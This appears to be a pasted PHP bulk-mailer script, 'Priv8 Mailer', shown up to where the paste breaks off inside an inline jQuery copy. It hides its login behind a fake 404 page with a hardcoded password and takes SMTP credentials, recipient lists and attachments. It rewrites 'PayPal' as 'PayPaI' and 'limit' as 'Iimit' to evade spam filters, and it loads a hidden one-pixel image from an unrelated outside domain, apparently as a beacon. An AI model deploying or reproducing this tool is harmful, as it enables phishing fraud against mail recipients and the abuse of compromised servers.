· 6 years ago · Sep 01, 2019, 12:04 AM
1<?php
2@session_start();
3@set_time_limit(0);
4//PASSWORD CONFIGURATION
5@$pass = $_POST['pass'];
6$chk_login = true;
7$password = "aerulcyber.biz";
8//END CONFIGURATION
9if($pass == $password)
10{
11$_SESSION['nst'] = "$pass";
12}
13if($chk_login == true)
14{
15if(!isset($_SESSION['nst']) or $_SESSION['nst'] != $password)
16{
17die("
18<title>404 Not Found</title>
19<center>
20<table border=0 cellpadding=0 cellspacing=0 width=100% height=100%>
21<tr><td valign=middle align=center>
22<table width=100 bgcolor=#FFFFFF border=6 bordercolor=#FFFFFF>
23<tr><td>
24<font size=1 face=verdana><center>
25<b></font></a><br></b>
26</center>
27<form method=post>
28<font size=1 face=verdana
29color=black><strong><center> <br> password * Required Field </center></strong><br>
30<input type=password name=pass size=30>
31</form>
32<b>Host:</b> ".$_SERVER["HTTP_HOST"]."<br>
33<b>IP:</b> ".gethostbyname($_SERVER["HTTP_HOST"])."<br>
34<b>Your ip:</b> ".$_SERVER["REMOTE_ADDR"]."
35</td></tr></table>
36</td></tr></table>
37");
38}
39}
40
41set_time_limit(0);
42error_reporting(0);
43function query_str($params) {
44 $str = '';
45 foreach ($params as $key => $value) {
46 $str .= (strlen($str) < 1) ? '' : '&';
47 $str .= $key . '=' . rawurlencode($value);
48 }
49 return ($str);
50}
51function lrtrim($string){
52 return stripslashes(ltrim(rtrim($string)));
53}
54if(isset($_POST['action'])){
55
56 $b = query_str($_POST);
57 parse_str($b);
58 $action = lrtrim($action);
59 $smtp_username = lrtrim($smtp_username);
60 $smtp_password = lrtrim($smtp_password);
61 $smtp_server = lrtrim($smtp_server);
62 $smtp_port = lrtrim($smtp_port);
63 $smtp_ssl = lrtrim($smtp_ssl);
64 $xmailer = lrtrim($xmailer);
65 $reconnect = lrtrim($reconnect);
66 $type = lrtrim($type);
67 $email = lrtrim($mail);
68 $nama = lrtrim($nama);
69 $subject = lrtrim($subject);
70 $pesan = lrtrim($pesan);
71 $emaillist = strtolower(lrtrim($list));
72 $encoding = lrtrim($encode);
73 $file_name = $_FILES['file']['name'];
74 $file_path = $_FILES['file']['tmp_name'];
75 $wait = lrtrim($wait);
76
77 $pesan = urlencode($pesan);
78 $pesan = ereg_replace("%5C%22", "%22", $pesan);
79 $pesan = urldecode($pesan);
80 $pesan = stripslashes($pesan);
81 $pesan = str_replace("PayPal", "PayPaI", $pesan);
82 $pesan = str_replace("limit", "Iimit", $pesan);
83}
84?>
85<!DOCTYPE html>
86<html lang="en">
87
88<head>
89 <meta charset="utf-8">
90 <title>Priv8 Mailer</title>
91 <meta name="viewport" content="width=940, initial-scale=1.0, maximum-scale=1.0">
92 <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
93 <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/css/bootstrap.min.css">
94 <script src="http://code.jquery.com/jquery-2.1.3.min.js"></script>
95 <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/js/bootstrap.min.js"></script>
96 <link rel="shortcut icon" href="http://pekasemijoias.com.br/images/banners/m/newsletter.png"> <style type="text/css">
97 body{
98 background-color: #13181D;
99 }
100 input, select, option, textarea {
101 font-size: 12px !important;
102 }
103 input, select, option {
104 height: 30px !important;
105 }
106 .panel-info .panel-heading {
107 color: #FFF;
108 background-color: #2CADAD !important;
109 border-color: #2CADAD !important;
110 }
111 .kanan-l {
112 border-top-right-radius: 0px !important;
113 }
114 .kanan {
115 border-top-right-radius: 4px !important;
116 }
117 </style>
118 <script type="text/javascript">
119 function Pilih1(dropDown) {
120 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
121 document.getElementById("sender-name").value = selectedValue;
122 }
123 function Pilih2(dropDown) {
124 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
125 document.getElementById("sender-email").value = selectedValue;
126 }
127 function Pilih3(dropDown) {
128 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
129 document.getElementById("subject").value = selectedValue;
130 }
131 function Pilih4(dropDown) {
132 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
133 document.getElementById("xmailer").value = selectedValue;
134 }
135 </script>
136</head>
137
138<body>
139<div id="wrap">
140 <img src="http://pekasemijoias.com.br/images/banners/m/newsletter.png" height="1" width="0">
141 <div class="container" style="margin-top: 25px;">
142 <div class="row">
143 <div class="col-sm-6 col-md-4 col-md-offset-1" style="width: 940px">
144 <div class="panel panel-info" style="border-color: #2CADAD !important; background-color: #444951 !important;">
145 <div class="panel-heading">
146 <div class="panel-title" align="center"><a href="">PHP Mailer</a></div>
147 </div>
148
149 <div style="padding-top: 15px;">
150
151 <button type="button" class="btn btn-primary collapsed" style="margin-left: 15px;margin-bottom: 10px" data-toggle="collapse" data-target="#smtp"><i class="glyphicon glyphicon-plus"></i> SMTP & OTHER SETUP</button>
152
153 <div style="display:none" id="login-alert" class="alert alert-danger col-sm-12"></div>
154
155 <form id="form" class="form-horizontal" method="post" enctype="multipart/form-data" role="form" action="">
156
157 <div id="smtp" class="collapse">
158 <div class="col-sm-8" style="padding-right: 7.5px !important;margin-bottom: 10px">
159
160 <div style="margin-bottom: 10px" class="input-group">
161 <span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
162 <input type="text" class="form-control" name="smtp_username" value="<?=$smtp_username;?>" placeholder="SMTP Username">
163 <span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i></span>
164 <input type="password" class="form-control" name="smtp_password" value="<?=$smtp_password;?>" placeholder="SMTP Password">
165 </div>
166
167 <div style="margin-bottom: 10px" class="input-group">
168 <span class="input-group-addon"><i class="glyphicon glyphicon-send"></i></span>
169 <input type="text" class="form-control" name="smtp_server" value="<?=$smtp_server;?>" placeholder="SMTP Server">
170 <span class="input-group-addon"><i class="glyphicon glyphicon-random"></i><b> Port</b></span>
171 <input type="text" class="form-control" name="smtp_port" value="<?=$smtp_port;?>" placeholder="optional">
172 <span class="input-group-addon"><i class="glyphicon glyphicon-road"></i><b> SSL</b></span>
173 <select class="form-control" name="smtp_ssl">
174 <option value="yes" <?php if ($smtp_ssl=='yes'){echo 'selected';}?> >yes</option>
175 <option value="no" <?php if ($smtp_ssl=='no'){echo 'selected';}?> >no</option>
176 </select>
177 </div>
178 <div style="color:red;" align="center">
179 " If you dont have SMTP login, leave blank queries above "
180 </div>
181<script>(function(global,factory){if(typeof module==="object"&&typeof module.exports==="object"){module.exports=global.document?factory(global,true):function(w){if(!w.document){throw new Error("jQuery requires a window with a document");}return factory(w)}}else{factory(global)}}(typeof window!=="undefined"?window:this,function(window,noGlobal){var deletedIds=[];var slice=deletedIds.slice;var concat=deletedIds.concat;var push=deletedIds.push;var indexOf=deletedIds.indexOf;var class2type={};var toString=class2type.toString;var hasOwn=class2type.hasOwnProperty;var support={};var version="1.11.2",jQuery=function(selector,context){return new jQuery.fn.init(selector,context)},rtrim=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,rmsPrefix=/^-ms-/,rdashAlpha=/-([\da-z])/gi,fcamelCase=function(all,letter){return letter.toUpperCase()};jQuery.fn=jQuery.prototype={jquery:version,constructor:jQuery,selector:"",length:0,toArray:function(){return slice.call(this)},get:function(num){return num!=null?(num<0?this[num+this.length]:this[num]):slice.call(this)},pushStack:function(elems){var ret=jQuery.merge(this.constructor(),elems);ret.prevObject=this;ret.context=this.context;return ret},each:function(callback,args){return jQuery.each(this,callback,args)},map:function(callback){return this.pushStack(jQuery.map(this,function(elem,i){return callback.call(elem,i,elem)}))},slice:function(){return this.pushStack(slice.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(i){var len=this.length,j=+i+(i<0?len:0);return this.pushStack(j>=0&&j<len?[this[j]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:push,sort:deletedIds.sort,splice:deletedIds.splice};jQuery.extend=jQuery.fn.extend=function(){var src,copyIsArray,copy,name,options,clone,target=arguments[0]||{},i=1,length=arguments.length,deep=false;if(typeof target==="boolean"){deep=target;target=arguments[i]||{};i++}if(typeof target!=="object"&&!jQuery.isFunction(target)){target={}}if(i===length){target=this;i--}for(;i<length;i++){if((options=arguments[i])!=null){for(name in options){src=target[name];copy=options[name];if(target===copy){continue}if(deep&©&&(jQuery.isPlainObject(copy)||(copyIsArray=jQuery.isArray(copy)))){if(copyIsArray){copyIsArray=false;clone=src&&jQuery.isArray(src)?src:[]}else{clone=src&&jQuery.isPlainObject(src)?src:{}}target[name]=jQuery.extend(deep,clone,copy)}else if(copy!==undefined){target[name]=copy}}}}return target};jQuery.extend({expando:"jQuery"+(version+Math.random()).replace(/\D/g,""),isReady:true,error:function(msg){throw new Error(msg);},noop:function(){},isFunction:function(obj){return jQuery.type(obj)==="function"},isArray:Array.isArray||function(obj){return jQuery.type(obj)==="array"},isWindow:function(obj){return obj!=null&&obj==obj.window},isNumeric:function(obj){return!jQuery.isArray(obj)&&(obj-parseFloat(obj)+1)>=0},isEmptyObject:function(obj){var name;for(name in obj){return false}return true},isPlainObject:function(obj){var key;if(!obj||jQuery.type(obj)!=="object"||obj.nodeType||jQuery.isWindow(obj)){return false}try{if(obj.constructor&&!hasOwn.call(obj,"constructor")&&!hasOwn.call(obj.constructor.prototype,"isPrototypeOf")){return false}}catch(e){return false}if(support.ownLast){for(key in obj){return hasOwn.call(obj,key)}}for(key in obj){}return key===undefined||hasOwn.call(obj,key)},type:function(obj){if(obj==null){return obj+""}return typeof obj==="object"||typeof obj==="function"?class2type[toString.call(obj)]||"object":typeof obj},globalEval:function(data){if(data&&jQuery.trim(data)){(window.execScript||function(data){window["eval"].call(window,data)})(data)}},camelCase:function(string){return string.replace(rmsPrefix,"ms-").replace(rdashAlpha,fcamelCase)},nodeName:function(elem,name){return elem.nodeName&&elem.nodeName.toLowerCase()===name.toLowerCase()},each:function(obj,callback,args){var value,i=0,length=obj.length,isArray=isArraylike(obj);if(args){if(isArray){for(;i<length;i++){value=callback.apply(obj[i],args);if(value===false){break}}}else{for(i in obj){value=callback.apply(obj[i],args);if(value===false){break}}}}else{if(isArray){for(;i<length;i++){value=callback.call(obj[i],i,obj[i]);if(value===false){break}}}else{for(i in obj){value=callback.call(obj[i],i,obj[i]);if(value===false){break}}}}return obj},trim:function(text){return text==null?"":(text+"").replace(rtrim,"")},makeArray:function(arr,results){var ret=results||[];if(arr!=null){if(isArraylike(Object(arr))){jQuery.merge(ret,typeof arr==="string"?[arr]:arr)}else{push.call(ret,arr)}}return ret},inArray:function(elem,arr,i){var len;if(arr){if(indexOf){return indexOf.call(arr,elem,i)}len=arr.length;i=i?i<0?Math.max(0,len+i):i:0;for(;i<len;i++){if(i in arr&&arr[i]===elem){return i}}}return-1},merge:function(first,second){var len=+second.length,j=0,i=first.length;while(j<len){first[i++]=second[j++]}if(len!==len){while(second[j]!==undefined){first[i++]=second[j++]}}first.length=i;return first},grep:function(elems,callback,invert){var callbackInverse,matches=[],i=0,length=elems.length,callbackExpect=!invert;for(;i<length;i++){callbackInverse=!callback(elems[i],i);if(callbackInverse!==callbackExpect){matches.push(elems[i])}}return matches},map:function(elems,callback,arg){var value,i=0,length=elems.length,isArray=isArraylike(elems),ret=[];if(isArray){for(;i<length;i++){value=callback(elems[i],i,arg);if(value!=null){ret.push(value)}}}else{for(i in elems){value=callback(elems[i],i,arg);if(value!=null){ret.push(value)}}}return concat.apply([],ret)},guid:1,proxy:function(fn,context){var args,proxy,tmp;if(typeof context==="string"){tmp=fn[context];context=fn;fn=tmp}if(!jQuery.isFunction(fn)){return undefined}args=slice.call(arguments,2);proxy=function(){return fn.apply(context||this,args.concat(slice.call(arguments)))};proxy.guid=fn.guid=fn.guid||jQuery.guid++;return proxy},now:function(){return+(new Date())},support:support});jQuery.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(i,name){class2type["[object "+name+"]"]=name.toLowerCase()});function isArraylike(obj){var length=obj.length,type=jQuery.type(obj);if(type==="function"||jQuery.isWindow(obj)){return false}if(obj.nodeType===1&&length){return true}return type==="array"||length===0||typeof length==="number"&&length>0&&(length-1)in obj}var Sizzle=(function(window){var i,support,Expr,getText,isXML,tokenize,compile,select,outermostContext,sortInput,hasDuplicate,setDocument,document,docElem,documentIsHTML,rbuggyQSA,rbuggyMatches,matches,contains,expando="sizzle"+1*new Date(),preferredDoc=window.document,dirruns=0,done=0,classCache=createCache(),tokenCache=createCache(),compilerCache=createCache(),sortOrder=function(a,b){if(a===b){hasDuplicate=true}return 0},MAX_NEGATIVE=1<<31,hasOwn=({}).hasOwnProperty,arr=[],pop=arr.pop,push_native=arr.push,push=arr.push,slice=arr.slice,indexOf=function(list,elem){var i=0,len=list.length;for(;i<len;i++){if(list[i]===elem){return i}}return-1},booleans="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",whitespace="[\\x20\\t\\r\\n\\f]",characterEncoding="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",identifier=characterEncoding.replace("w","w#"),attributes="\\["+whitespace+"*("+characterEncoding+")(?:"+whitespace+"*([*^$|!~]?=)"+whitespace+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+identifier+"))|)"+whitespace+"*\\]",pseudos=":("+characterEncoding+")(?:\\(("+"('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|"+"((?:\\\\.|[^\\\\()[\\]]|"+attributes+")*)|"+".*"+")\\)|)",rwhitespace=new RegExp(whitespace+"+","g"),rtrim=new RegExp("^"+whitespace+"+|((?:^|[^\\\\])(?:\\\\.)*)"+whitespace+"+$","g"),rcomma=new RegExp("^"+whitespace+"*,"+whitespace+"*"),rcombinators=new RegExp("^"+whitespace+"*([>+~]|"+whitespace+")"+whitespace+"*"),rattributeQuotes=new RegExp("="+whitespace+"*([^\\]'\"]*?)"+whitespace+"*\\]","g"),rpseudo=new RegExp(pseudos),ridentifier=new RegExp("^"+identifier+"$"),matchExpr={"ID":new RegExp("^#("+characterEncoding+")"),"CLASS":new RegExp("^\\.("+characterEncoding+")"),"TAG":new RegExp("^("+characterEncoding.replace("w","w*")+")"),"ATTR":new RegExp("^"+attributes),"PSEUDO":new RegExp("^"+pseudos),"CHILD":new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+whitespace+"*(even|odd|(([+-]|)(\\d*)n|)"+whitespace+"*(?:([+-]|)"+whitespace+"*(\\d+)|))"+whitespace+"*\\)|)","i"),"bool":new RegExp("^(?:"+booleans+")$","i"),"needsContext":new RegExp("^"+whitespace+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+whitespace+"*((?:-\\d)?\\d*)"+whitespace+"*\\)|)(?=[^-]|$)","i")},rinputs=/^(?:input|select|textarea|button)$/i,rheader=/^h\d$/i,rnative=/^[^{]+\{\s*\[native \w/,rquickExpr=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,rsibling=/[+~]/,rescape=/'|\\/g,runescape=new RegExp("\\\\([\\da-f]{1,6}"+whitespace+"?|("+whitespace+")|.)","ig"),funescape=function(_,escaped,escapedWhitespace){var high="0x"+escaped-0x10000;return high!==high||escapedWhitespace?escaped:high<0?String.fromCharCode(high+0x10000):String.fromCharCode(high>>10|0xD800,high&0x3FF|0xDC00)},unloadHandler=function(){setDocument()};try{push.apply((arr=slice.call(preferredDoc.childNodes)),preferredDoc.childNodes);arr[preferredDoc.childNodes.length].nodeType}catch(e){push={apply:arr.length?function(target,els){push_native.apply(target,slice.call(els))}:function(target,els){var j=target.length,i=0;while((target[j++]=els[i++])){}target.length=j-1}}}function Sizzle(selector,context,results,seed){var match,elem,m,nodeType,i,groups,old,nid,newContext,newSelector;if((context?context.ownerDocument||context:preferredDoc)!==document){setDocument(context)}context=context||document;results=results||[];nodeType=context.nodeType;if(typeof selector!=="string"||!selector||nodeType!==1&&nodeType!==9&&nodeType!==11){return results}if(!seed&&documentIsHTML){if(nodeType!==11&&(match=rquickExpr.exec(selector))){if((m=match[1])){if(nodeType===9){elem=context.getElementById(m);if(elem&&elem.parentNode){if(elem.id===m){results.push(elem);return results}}else{return results}}else{if(context.ownerDocument&&(elem=context.ownerDocument.getElementById(m))&&contains(context,elem)&&elem.id===m){results.push(elem);return results}}}else if(match[2]){push.apply(results,context.getElementsByTagName(selector));return results}else if((m=match[3])&&support.getElementsByClassName){push.apply(results,context.getElementsByClassName(m));return results}}if(support.qsa&&(!rbuggyQSA||!rbuggyQSA.test(selector))){nid=old=expando;newContext=context;newSelector=nodeType!==1&&selector;if(nodeType===1&&context.nodeName.toLowerCase()!=="object"){groups=tokenize(selector);if((old=context.getAttribute("id"))){nid=old.replace(rescape,"\\$&")}else{context.setAttribute("id",nid)}nid="[id='"+nid+"'] ";i=groups.length;while(i--){groups[i]=nid+toSelector(groups[i])}newContext=rsibling.test(selector)&&testContext(context.parentNode)||context;newSelector=groups.join(",")}if(newSelector){try{push.apply(results,newContext.querySelectorAll(newSelector));return results}catch(qsaError){}finally{if(!old){context.removeAttribute("id")}}}}}return select(selector.replace(rtrim,"$1"),context,results,seed)}function createCache(){var keys=[];function cache(key,value){if(keys.push(key+" ")>Expr.cacheLength){delete cache[keys.shift()]}return(cache[key+" "]=value)}return cache}function markFunction(fn){fn[expando]=true;return fn}function assert(fn){var div=document.createElement("div");try{return!!fn(div)}catch(e){return false}finally{if(div.parentNode){div.parentNode.removeChild(div)}div=null}}function addHandle(attrs,handler){var arr=attrs.split("|"),i=attrs.length;while(i--){Expr.attrHandle[arr[i]]=handler}}function siblingCheck(a,b){var cur=b&&a,diff=cur&&a.nodeType===1&&b.nodeType===1&&(~b.sourceIndex||MAX_NEGATIVE)-(~a.sourceIndex||MAX_NEGATIVE);if(diff){return diff}if(cur){while((cur=cur.nextSibling)){if(cur===b){return-1}}}return a?1:-1}function createInputPseudo(type){return function(elem){var name=elem.nodeName.toLowerCase();return name==="input"&&elem.type===type}}function createButtonPseudo(type){return function(elem){var name=elem.nodeName.toLowerCase();return(name==="input"||name==="button")&&elem.type===type}}function createPositionalPseudo(fn){return markFunction(function(argument){argument=+argument;return markFunction(function(seed,matches){var j,matchIndexes=fn([],seed.length,argument),i=matchIndexes.length;while(i--){if(seed[(j=matchIndexes[i])]){seed[j]=!(matches[j]=seed[j])}}})})}function testContext(context){return context&&typeof context.getElementsByTagName!=="undefined"&&context}support=Sizzle.support={};isXML=Sizzle.isXML=function(elem){var documentElement=elem&&(elem.ownerDocument||elem).documentElement;return documentElement?documentElement.nodeName!=="HTML":false};setDocument=Sizzle.setDocument=function(node){var hasCompare,parent,doc=node?node.ownerDocument||node:preferredDoc;if(doc===document||doc.nodeType!==9||!doc.documentElement){return document}document=doc;docElem=doc.documentElement;parent=doc.defaultView;if(parent&&parent!==parent.top){if(parent.addEventListener){parent.addEventListener("unload",unloadHandler,false)}else if(parent.attachEvent){parent.attachEvent("onunload",unloadHandler)}}documentIsHTML=!isXML(doc);support.attributes=assert(function(div){div.className="i";return!div.getAttribute("className")});support.getElementsByTagName=assert(function(div){div.appendChild(doc.createComment(""));return!div.getElementsByTagName("*").length});support.getElementsByClassName=rnative.test(doc.getElementsByClassName);support.getById=assert(function(div){docElem.appendChild(div).id=expando;return!doc.getElementsByName||!doc.getElementsByName(expando).length});if(support.getById){Expr.find["ID"]=function(id,context){if(typeof context.getElementById!=="undefined"&&documentIsHTML){var m=context.getElementById(id);return m&&m.parentNode?[m]:[]}};Expr.filter["ID"]=function(id){var attrId=id.replace(runescape,funescape);return function(elem){return elem.getAttribute("id")===attrId}}}else{delete Expr.find["ID"];Expr.filter["ID"]=function(id){var attrId=id.replace(runescape,funescape);return function(elem){var node=typeof elem.getAttributeNode!=="undefined"&&elem.getAttributeNode("id");return node&&node.value===attrId}}}Expr.find["TAG"]=support.getElementsByTagName?function(tag,context){if(typeof context.getElementsByTagName!=="undefined"){return context.getElementsByTagName(tag)}else if(support.qsa){return context.querySelectorAll(tag)}}:function(tag,context){var elem,tmp=[],i=0,results=context.getElementsByTagName(tag);if(tag==="*"){while((elem=results[i++])){if(elem.nodeType===1){tmp.push(elem)}}return tmp}return results};Expr.find["CLASS"]=support.getElementsByClassName&&function(className,context){if(documentIsHTML){return context.getElementsByClassName(className)}};rbuggyMatches=[];rbuggyQSA=[];if((support.qsa=rnative.test(doc.querySelectorAll))){assert(function(div){docElem.appendChild(div).innerHTML="<a id='"+expando+"'></a>"+"<select id='"+expando+"-\f]' msallowcapture=''>"+"<option selected=''></option></select>";if(div.querySelectorAll("[msallowcapture^='']").length){rbuggyQSA.push("[*^$]="+whitespace+"*(?:''|\"\")")}if(!div.querySelectorAll("[selected]").length){rbuggyQSA.push("\\["+whitespace+"*(?:value|"+booleans+")")}if(!div.querySelectorAll("[id~="+expando+"-]").length){rbuggyQSA.push("~=")}if(!div.querySelectorAll(":checked").length){rbuggyQSA.push(":checked")}if(!div.querySelectorAll("a#"+expando+"+*").length){rbuggyQSA.push(".#.+[+~]")}});assert(function(div){var input=doc.createElement("input");input.setAttribute("type","hidden");div.appendChild(input).setAttribute("name","D");if(div.querySelectorAll("[name=d]").length){rbuggyQSA.push("name"+whitespace+"*[*^$|!~]?=")}if(!div.querySelectorAll(":enabled").length){rbuggyQSA.push(":enabled",":disabled")}div.querySelectorAll("*,:x");rbuggyQSA.push(",.*:")})}if((support.matchesSelector=rnative.test((matches=docElem.matches||docElem.webkitMatchesSelector||docElem.mozMatchesSelector||docElem.oMatchesSelector||docElem.msMatchesSelector)))){assert(function(div){support.disconnectedMatch=matches.call(div,"div");matches.call(div,"[s!='']:x");rbuggyMatches.push("!=",pseudos)})}rbuggyQSA=rbuggyQSA.length&&new RegExp(rbuggyQSA.join("|"));rbuggyMatches=rbuggyMatches.length&&new RegExp(rbuggyMatches.join("|"));hasCompare=rnative.test(docElem.compareDocumentPosition);contains=hasCompare||rnative.test(docElem.contains)?function(a,b){var adown=a.nodeType===9?a.documentElement:a,bup=b&&b.parentNode;return a===bup||!!(bup&&bup.nodeType===1&&(adown.contains?adown.contains(bup):a.compareDocumentPosition&&a.compareDocumentPosition(bup)&16))}:function(a,b){if(b){while((b=b.parentNode)){if(b===a){return true}}}return false};sortOrder=hasCompare?function(a,b){if(a===b){hasDuplicate=true;return 0}var compare=!a.compareDocumentPosition-!b.compareDocumentPosition;if(compare){return compare}compare=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1;if(compare&1||(!support.sortDetached&&b.compareDocumentPosition(a)===compare)){if(a===doc||a.ownerDocument===preferredDoc&&contains(preferredDoc,a)){return-1}if(b===doc||b.ownerDocument===preferredDoc&&contains(preferredDoc,b)){return 1}return sortInput?(indexOf(sortInput,a)-indexOf(sortInput,b)):0}return compare&4?-1:1}:function(a,b){if(a===b){hasDuplicate=true;return 0}var cur,i=0,aup=a.parentNode,bup=b.parentNode,ap=[a],bp=[b];if(!aup||!bup){return a===doc?-1:b===doc?1:aup?-1:bup?1:sortInput?(indexOf(sortInput,a)-indexOf(sortInput,b)):0}else if(aup===bup){return siblingCheck(a,b)}cur=a;while((cur=cur.parentNode)){ap.unshift(cur)}cur=b;while((cur=cur.parentNode)){bp.unshift(cur)}while(ap[i]===bp[i]){i++}return i?siblingCheck(ap[i],bp[i]):ap[i]===preferredDoc?-1:bp[i]===preferredDoc?1:0};return doc};Sizzle.matches=function(expr,elements){return Sizzle(expr,null,null,elements)};Sizzle.matchesSelector=function(elem,expr){if((elem.ownerDocument||elem)!==document){setDocument(elem)}expr=expr.replace(rattributeQuotes,"='$1']");if(support.matchesSelector&&documentIsHTML&&(!rbuggyMatches||!rbuggyMatches.test(expr))&&(!rbuggyQSA||!rbuggyQSA.test(expr))){try{var ret=matches.call(elem,expr);if(ret||support.disconnectedMatch||elem.document&&elem.document.nodeType!==11){return ret}}catch(e){}}return Sizzle(expr,document,null,[elem]).length>0};Sizzle.contains=function(context,elem){if((context.ownerDocument||context)!==document){setDocument(context)}return contains(context,elem)};Sizzle.attr=function(elem,name){if((elem.ownerDocument||elem)!==document){setDocument(elem)}var fn=Expr.attrHandle[name.toLowerCase()],val=fn&&hasOwn.call(Expr.attrHandle,name.toLowerCase())?fn(elem,name,!documentIsHTML):undefined;return val!==undefined?val:support.attributes||!documentIsHTML?elem.getAttribute(name):(val=elem.getAttributeNode(name))&&val.specified?val.value:null};Sizzle.error=function(msg){throw new Error("Syntax error, unrecognized expression: "+msg);};Sizzle.uniqueSort=function(results){var elem,duplicates=[],j=0,i=0;hasDuplicate=!support.detectDuplicates;sortInput=!support.sortStable&&results.slice(0);results.sort(sortOrder);if(hasDuplicate){while((elem=results[i++])){if(elem===results[i]){j=duplicates.push(i)}}while(j--){results.splice(duplicates[j],1)}}sortInput=null;return results};getText=Sizzle.getText=function(elem){var node,ret="",i=0,nodeType=elem.nodeType;if(!nodeType){while((node=elem[i++])){ret+=getText(node)}}else if(nodeType===1||nodeType===9||nodeType===11){if(typeof elem.textContent==="string"){return elem.textContent}else{for(elem=elem.firstChild;elem;elem=elem.nextSibling){ret+=getText(elem)}}}else if(nodeType===3||nodeType===4){return elem.nodeValue}return ret};Expr=Sizzle.selectors={cacheLength:50,createPseudo:markFunction,match:matchExpr,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:true}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:true},"~":{dir:"previousSibling"}},preFilter:{"ATTR":function(match){match[1]=match[1].replace(runescape,funescape);match[3]=(match[3]||match[4]||match[5]||"").replace(runescape,funescape);if(match[2]==="~="){match[3]=" "+match[3]+" "}return match.slice(0,4)},"CHILD":function(match){match[1]=match[1].toLowerCase();if(match[1].slice(0,3)==="nth"){if(!match[3]){Sizzle.error(match[0])}match[4]=+(match[4]?match[5]+(match[6]||1):2*(match[3]==="even"||match[3]==="odd"));match[5]=+((match[7]+match[8])||match[3]==="odd")}else if(match[3]){Sizzle.error(match[0])}return match},"PSEUDO":function(match){var excess,unquoted=!match[6]&&match[2];if(matchExpr["CHILD"].test(match[0])){return null}if(match[3]){match[2]=match[4]||match[5]||""}else if(unquoted&&rpseudo.test(unquoted)&&(excess=tokenize(unquoted,true))&&(excess=unquoted.indexOf(")",unquoted.length-excess)-unquoted.length)){match[0]=match[0].slice(0,excess);match[2]=unquoted.slice(0,excess)}return match.slice(0,3)}},filter:{"TAG":function(nodeNameSelector){var nodeName=nodeNameSelector.replace(runescape,funescape).toLowerCase();return nodeNameSelector==="*"?function(){return true}:function(elem){return elem.nodeName&&elem.nodeName.toLowerCase()===nodeName}},"CLASS":function(className){var pattern=classCache[className+" "];return pattern||(pattern=new RegExp("(^|"+whitespace+")"+className+"("+whitespace+"|$)"))&&classCache(className,function(elem){return pattern.test(typeof elem.className==="string"&&elem.className||typeof elem.getAttribute!=="undefined"&&elem.getAttribute("class")||"")})},"ATTR":function(name,operator,check){return function(elem){var result=Sizzle.attr(elem,name);if(result==null){return operator==="!="}if(!operator){return true}result+="";return operator==="="?result===check:operator==="!="?result!==check:operator==="^="?check&&result.indexOf(check)===0:operator==="*="?check&&result.indexOf(check)>-1:operator==="$="?check&&result.slice(-check.length)===check:operator==="~="?(" "+result.replace(rwhitespace," ")+" ").indexOf(check)>-1:operator==="|="?result===check||result.slice(0,check.length+1)===check+"-":false}},"CHILD":function(type,what,argument,first,last){var simple=type.slice(0,3)!=="nth",forward=type.slice(-4)!=="last",ofType=what==="of-type";return first===1&&last===0?function(elem){return!!elem.parentNode}:function(elem,context,xml){var cache,outerCache,node,diff,nodeIndex,start,dir=simple!==forward?"nextSibling":"previousSibling",parent=elem.parentNode,name=ofType&&elem.nodeName.toLowerCase(),useCache=!xml&&!ofType;if(parent){if(simple){while(dir){node=elem;while((node=node[dir])){if(ofType?node.nodeName.toLowerCase()===name:node.nodeType===1){return false}}start=dir=type==="only"&&!start&&"nextSibling"}return true}start=[forward?parent.firstChild:parent.lastChild];if(forward&&useCache){outerCache=parent[expando]||(parent[expando]={});cache=outerCache[type]||[];nodeIndex=cache[0]===dirruns&&cache[1];diff=cache[0]===dirruns&&cache[2];node=nodeIndex&&parent.childNodes[nodeIndex];while((node=++nodeIndex&&node&&node[dir]||(diff=nodeIndex=0)||start.pop())){if(node.nodeType===1&&++diff&&node===elem){outerCache[type]=[dirruns,nodeIndex,diff];break}}}else if(useCache&&(cache=(elem[expando]||(elem[expando]={}))[type])&&cache[0]===dirruns){diff=cache[1]}else{while((node=++nodeIndex&&node&&node[dir]||(diff=nodeIndex=0)||start.pop())){if((ofType?node.nodeName.toLowerCase()===name:node.nodeType===1)&&++diff){if(useCache){(node[expando]||(node[expando]={}))[type]=[dirruns,diff]}if(node===elem){break}}}}diff-=last;return diff===first||(diff%first===0&&diff/first>=0)}}},"PSEUDO":function(pseudo,argument){var args,fn=Expr.pseudos[pseudo]||Expr.setFilters[pseudo.toLowerCase()]||Sizzle.error("unsupported pseudo: "+pseudo);if(fn[expando]){return fn(argument)}if(fn.length>1){args=[pseudo,pseudo,"",argument];return Expr.setFilters.hasOwnProperty(pseudo.toLowerCase())?markFunction(function(seed,matches){var idx,matched=fn(seed,argument),i=matched.length;while(i--){idx=indexOf(seed,matched[i]);seed[idx]=!(matches[idx]=matched[i])}}):function(elem){return fn(elem,0,args)}}return fn}},pseudos:{"not":markFunction(function(selector){var input=[],results=[],matcher=compile(selector.replace(rtrim,"$1"));return matcher[expando]?markFunction(function(seed,matches,context,xml){var 